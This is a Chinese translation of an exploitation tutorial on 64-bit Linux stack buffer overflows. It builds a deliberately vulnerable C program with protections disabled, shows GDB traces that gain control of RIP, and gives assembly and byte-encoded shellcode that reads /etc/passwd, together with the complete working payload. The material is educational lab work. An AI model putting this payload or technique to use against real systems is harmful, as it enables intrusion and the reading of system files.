from:http://packetstormsecurity.com/files/download/127007/64bit-overflow.pdf
本文的目的是讓大家學到64位緩沖區溢出的基礎知識。 作者Mr.Un1k0d3r RingZer0 Team
摘要
0x01 x86和x86_64的差別
0x02 漏洞代碼片段
0x03 觸發溢出
0x04 控制RIP
0x05 跳入使用者控制的緩沖區
0x06 執行shellcode
0x07 GDB vs 現實
0x08 結語
0x01 x86和x86_64的差別
第一個主要差別就是記憶體位址的大小。這沒啥可驚奇的: 不過即便記憶體位址有64位長使用者空間也隻能使用前47位要牢記這點因為當你指定一個大于0x00007fffffffffff的位址時會抛出一個異常。那也就意味着0x4141414141414141會抛出異常而0x0000414141414141是安全的。當你在進行模糊測試或編寫利用程式的時候我覺得這是個很巧妙的部分。
事實上還有很多其他的不同但是考慮到本文的目的不了解所有的差異也沒關系。
0x02 漏洞代碼片段
#!cpp
int main(int argc, char **argv) {
char buffer[256];
if(argc != 2) {
exit(0);
}
printf("%p\n", buffer);
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
return 0;
}
為了節省漏洞利用的時間我決定列印緩沖區指針位址。
你可以用gcc編譯上述代碼。
#!bash
$ gcc -m64 bof.c -o bof -z execstack -fno-stack-protector
這樣就一切妥當了。
0x03 觸發溢出
首先我們來确認一下确實可以讓這個程序崩潰。
#!cpp
$ ./bof $(python -c 'print "A" * 300')
0x7fffffffdcd0
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA
Segmentation fault (core dumped)
好來确認一下我們控制的RIP指令指針

你可以通過stepi單步執行來過一遍程式流程譯者應該用ni比較合适。 當過了strcpy調用(0x40066c)之後你會發現目前緩沖區指針指向0x7fffffffdc90而不是0x7fffffffdcd0這是gdb的環境變量和其他東西造成的。不過現在我們不關心之後會解決的。 重要的說明* 在之後的内容中當我提到leave指令時就是指的上面的位址0x400685。 最後這是strcpy過後的棧
#!bash
(gdb) x/20xg $rsp
0x7fffffffdc80: 0x00007fffffffde78 0x00000002f7ffe520
0x7fffffffdc90: 0x4141414141414141 0x4141414141414141
0x7fffffffdca0: 0x4141414141414141 0x4141414141414141
0x7fffffffdcb0: 0x4141414141414141 0x4141414141414141
0x7fffffffdcc0: 0x4141414141414141 0x4141414141414141
0x7fffffffdcd0: 0x4141414141414141 0x4141414141414141
0x7fffffffdce0: 0x4141414141414141 0x4141414141414141
0x7fffffffdcf0: 0x4141414141414141 0x4141414141414141
0x7fffffffdd00: 0x4141414141414141 0x4141414141414141
0x7fffffffdd10: 0x4141414141414141 0x4141414141414141
接着主函數(main)中的leave指令把rsp指向0x7fffffffdd98。 棧就變成了這樣子
#!bash
(gdb) x/20xg $rsp
0x7fffffffdd98: 0x4141414141414141 0x4141414141414141
0x7fffffffdda8: 0x4141414141414141 0x4141414141414141
0x7fffffffddb8: 0x0000000041414141 0x0000000000000000
0x7fffffffddc8: 0xa1c4af9213d095db 0x0000000000400520
0x7fffffffddd8: 0x00007fffffffde70 0x0000000000000000
0x7fffffffdde8: 0x0000000000000000 0x5e3b506da89095db
0x7fffffffddf8: 0x5e3b40d4af2a95db 0x0000000000000000
0x7fffffffde08: 0x0000000000000000 0x0000000000000000
0x7fffffffde18: 0x0000000000400690 0x00007fffffffde78
0x7fffffffde28: 0x0000000000000002 0x0000000000000000
(gdb) stepi
Program received signal SIGSEGV, Segmentation fault.
好極了我們有SIGSEGV的時機去檢視目前寄存器的值。
#!bash
(gdb) i r
rax 0x0 0
rbx 0x0 0
rcx 0xffffffffffffffff -1
rdx 0x7ffff7dd59e0 140737351866848
rsi 0x7ffff7ff7000 140737354100736
rdi 0x1 1
rbp 0x4141414141414141 0x4141414141414141
rsp 0x7fffffffdd98 0x7fffffffdd98
r8 0x4141414141414141 4702111234474983745
r9 0x4141414141414141 4702111234474983745
r10 0x4141414141414141 4702111234474983745
r11 0x246 582
r12 0x400520 4195616
r13 0x7fffffffde70 140737488346736
r14 0x0 0
r15 0x0 0
rip 0x400686 0x400686
eflags 0x10246 [ PF ZF IF RF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
(gdb) stepi
Program terminated with signal SIGSEGV, Segmentation fault.
The program no longer exists.
好了程式就這樣結束了我們沒能控制RIP為什麼因為我們覆寫了太多位記得最大的位址是0x00007fffffffffff吧而我們嘗試用0x4141414141414141去溢出了。
0x04 控制RIP
我們發現了個小問題不過隻要是問題總有辦法解決的我們可以用個小一點的緩沖區去溢出這樣指向rsp的位址就會像0x0000414141414141一樣了。 通過簡單的數學運算就可以很輕松地算出我們緩沖區的大小。我們知道緩沖區開始于0x7fffffffdc90。Leave指令之後rsp将指向0x7fffffffdd98。
0x7fffffffdd98 - 0x7fffffffdc90 = 0x108 -> 十進制的264
知道了這些我們可以把溢出載荷修改成這樣
"A" * 264 + "B" * 6
rsp指向的位址應該像0x0000424242424242一樣正常了。那樣就能控制RIP。
#!bash
$ gdb -tui bof
(gdb) set disassembly-flavor intel
(gdb) layout asm
(gdb) layout regs
(gdb) break main
(gdb) run $(python -c 'print "A" * 264 + "B" * 6')
這次我們直接看調用leave指令後的狀況。 這是leave指令執行後的棧
#!bash
(gdb) x/20xg $rsp
0x7fffffffddb8: 0x0000424242424242 0x0000000000000000
0x7fffffffddc8: 0x00007fffffffde98 0x0000000200000000
0x7fffffffddd8: 0x000000000040060d 0x0000000000000000
0x7fffffffdde8: 0x2a283aca5f708a47 0x0000000000400520
0x7fffffffddf8: 0x00007fffffffde90 0x0000000000000000
0x7fffffffde08: 0x0000000000000000 0xd5d7c535e4f08a47
0x7fffffffde18: 0xd5d7d58ce38a8a47 0x0000000000000000
0x7fffffffde28: 0x0000000000000000 0x0000000000000000
0x7fffffffde38: 0x0000000000400690 0x00007fffffffde98
0x7fffffffde48: 0x0000000000000002 0x0000000000000000
這是leave指令執行後寄存器的值
#!bash
(gdb) i r
rax 0x0 0
rbx 0x0 0
rcx 0xffffffffffffffff -1
rdx 0x7ffff7dd59e0 140737351866848
rsi 0x7ffff7ff7000 140737354100736
rdi 0x1 1
rbp 0x4141414141414141 0x4141414141414141
rsp 0x7fffffffddb8 0x7fffffffddb8
r8 0x4141414141414141 4702111234474983745
r9 0x4141414141414141 4702111234474983745
r10 0x4141414141414141 4702111234474983745
r11 0x246 r12 0x400520 4195616
r13 0x7fffffffde90 140737488346768
r14 0x0 0
r15 0x0 0
rip 0x400686 0x400686
eflags 0x246 [ PF ZF IF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
rsp指向0x7fffffffddb8而0x7fffffffddb8的内容就是0x0000424242424242。看來一切正常是時候執行ret指令了。
#!bash
(gdb) stepi
Cannot access memory at address 0x424242424242
Cannot access memory at address 0x424242424242
(gdb) i r
rax 0x0 0
rbx 0x0 0
rcx 0xffffffffffffffff -1
rdx 0x7ffff7dd59e0 140737351866848
rsi 0x7ffff7ff7000 140737354100736
rdi 0x1 1
rbp 0x4141414141414141 0x4141414141414141
rsp 0x7fffffffddc0 0x7fffffffddc0
r8 0x4141414141414141 4702111234474983745
r9 0x4141414141414141 4702111234474983745
r10 0x4141414141414141 4702111234474983745
r11 0x246 582
r12 0x400520 4195616
r13 0x7fffffffde90 140737488346768
r14 0x0 0
r15 0x0 0
rip 0x424242424242 0x424242424242
eflags 0x246 [ PF ZF IF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
我們最終控制了rip
0x05 跳入使用者控制的緩沖區
事實上這部分内容沒什麼特别的或者新的東西你隻需要指向你控制的緩沖區開頭。也就是第一個printf顯示出來的值在這裡是0x7fffffffdc90。通過gdb也可以很容易地重新獲得這個值你隻需在調用strcpy之後顯示棧。
#!bash
(gdb) x/4xg $rsp
0x7fffffffdc80: 0x00007fffffffde98 0x00000002f7ffe520
0x7fffffffdc90: 0x4141414141414141 0x4141414141414141
是時候更新我們的載荷了。新的載荷看起來像這樣
"A" * 264 + "\x7f\xff\xff\xff\xdc\x90"[::-1]
因為是小端結構是以我們需要把記憶體位址反序。這就是python語句[::-1]所實作的。
确認下我們跳入正确的位址。
#!bash
$ gdb -tui bof
(gdb) set disassembly-flavor intel
(gdb) layout asm
(gdb) layout regs
(gdb) break main
(gdb) run $(python -c 'print "A" * 264 +
"\x7f\xff\xff\xff\xdc\x90"[::-1]')
(gdb) x/20xg $rsp
0x7fffffffddb8: 0x00007fffffffdc90 0x0000000000000000
0x7fffffffddc8: 0x00007fffffffde98 0x0000000200000000
0x7fffffffddd8: 0x000000000040060d 0x0000000000000000
0x7fffffffdde8: 0xe72f39cd325155ac 0x0000000000400520
0x7fffffffddf8: 0x00007fffffffde90 0x0000000000000000
0x7fffffffde08: 0x0000000000000000 0x18d0c63289d155ac
0x7fffffffde18: 0x18d0d68b8eab55ac 0x0000000000000000
0x7fffffffde28: 0x0000000000000000 0x0000000000000000
0x7fffffffde38: 0x0000000000400690 0x00007fffffffde98
0x7fffffffde48: 0x0000000000000002 0x0000000000000000
這是執行leave指令後的棧。如我們所知rsp指向0x7fffffffddb8。0x7fffffffddb8的内容是0x00007fffffffdc90。最後0x00007fffffffdc90指向我們控制的緩沖區。
(gdb) stepi
ret指令執行後rip指向0x7fffffffdc90這意味着我們跳入了正确的位置。
0x06 執行shellcode
在這個例子中我準備用個定制的shellcode去讀/etc/passwd的内容。
#!bash
BITS 64
; Author Mr.Un1k0d3r - RingZer0 Team
; Read /etc/passwd Linux x86_64 Shellcode
; Shellcode size 82 bytes
global _start
section .text
_start:
jmp _push_filename
_readfile:
; syscall open file
pop rdi ; pop path value
; NULL byte fix
xor byte [rdi + 11], 0x41
xor rax, rax
add al, 2
xor rsi, rsi ; set O_RDONLY flag
syscall
; syscall read file
sub sp, 0xfff
lea rsi, [rsp]
mov rdi, rax
xor rdx, rdx
mov dx, 0xfff ; size to read
xor rax, rax
syscall
; syscall write to stdout
xor rdi, rdi
add dil, 1 ; set stdout fd = 1
mov rdx, rax
xor rax, rax
add al, 1
syscall
; syscall exit
xor rax, rax
add al, 60
syscall
_push_filename:
call _readfile
path: db "/etc/passwdA"
接下來彙編這個檔案然後提取shellcode。
#!bash
$ nasm -f elf64 readfile.asm -o readfile.o
$ for i in $(objdump -d readfile.o | grep "^ " | cut -f2); do echo -n '\x'$i; done; echo
\xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31\xc0\x04\x02\x48\x31\xf6\x0f\x05\x6
6\x81\xec\xff\x0f\x48\x8d\x34\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x
0f\x48\x31\xc0\x0f\x05\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31\
xc0\x04\x01\x0f\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff\xff\xff\x2f
\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x41
這個shellcode長82位元組。來構造最終的載荷吧。
原來的載荷
#!bash
$(python -c 'print "A" * 264 + "\x7f\xff\xff\xff\xdc\x90"[::-1]')
我們要保證一樣的大小是以264 - 82 = 182
#!bash
$(python -c 'print "A" * 182 + "\x7f\xff\xff\xff\xdc\x90"[::-1]')
然後把shellcode接在開頭
#!bash
$(python -c 'print
"\xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31\xc0\x04\x02\x48\x31\xf6\x0f\x05\x
66\x81\xec\xff\x0f\x48\x8d\x34\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\
x0f\x48\x31\xc0\x0f\x05\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31
\xc0\x04\x01\x0f\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff\xff\xff\x2
f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x41" + "A" * 182 +
"\x7f\xff\xff\xff\xdc\x90"[::-1]')
來把所有東西一塊兒測試
#!bash
$ gdb –tui bof
(gdb) run $(python -c 'print
"\xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31\xc0\x04\x02\x48\x31\xf6\x0f\x05\x
66\x81\xec\xff\x0f\x48\x8d\x34\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\
x0f\x48\x31\xc0\x0f\x05\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31
\xc0\x04\x01\x0f\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff\xff\xff\x2
f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x41" + "A" * 182 +
"\x7f\xff\xff\xff\xdc\x90"[::-1]')
如果一切正常你就會看到/etc/passwd的内容。要注意記憶體位址是可以變化的這樣可能就和我這裡的不同了。
0x07 GDB vs 現實
因為gdb會初始化一些變量和其他的東西是以如果你試着在gdb之外使用同樣的利用腳本就會失敗。不過在這個例子中我加了個對printf的調用來輸出緩沖區指針。這樣我們就可以很容易地找到正确的值并且在真實的環境中獲得位址。
這是使用我們在gdb中找到的值的真實版本
#!bash
$ ./bof $(python -c 'print "\xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31
\xc0\x04\x02\x48\x31\xf6\x0f\x05\x66\x81\xec\xff\x0f\x48\x8d\x34
\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x0f\x48\x31\xc0\x0f\x05
\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31\xc0\x04\x01\x0f
\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff\xff\xff\x2f\x65\x74
\x63\x2f\x70\x61\x73\x73\x77\x64\x41" + "A" * 182 +
"\x7f\xff\xff\xff\xdc\x90"[::-1]')
0x7fffffffdcf0
?_w
[email protected]<
/etc/passwdAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA•
Illegal instruction (core dumped)
很顯然利用不成功。因為位址已經從0x7fffffffdc90變成了0x7fffffffdcf0。幸好有這點printf的輸出我們隻需用正确的值調整一下載下傳荷。
#!bash
$ ./bof $(python -c 'print "\xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31
\xc0\x04\x02\x48\x31\xf6\x0f\x05\x66\x81\xec\xff\x0f\x48\x8d\x34
\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x0f\x48\x31\xc0\x0f\x05
\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31\xc0\x04\x01\x0f
\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff\xff\xff\x2f\x65\x74
\x63\x2f\x70\x61\x73\x73\x77\x64\x41" + "A" * 182 +
"\x7f\xff\xff\xff\xdc\xf0"[::-1]')
0x7fffffffdcf0
?_w
[email protected]<
/etc/passwdAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAA•
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
換成正确的值之後利用一切正常。
0x08 結語
希望你們能喜歡這篇關于Linux下x86_64緩沖區溢出的文章,有很多關于x86溢出的文章了,但64位的溢出比較少見。
祝你們拿到好多好多shell!
感謝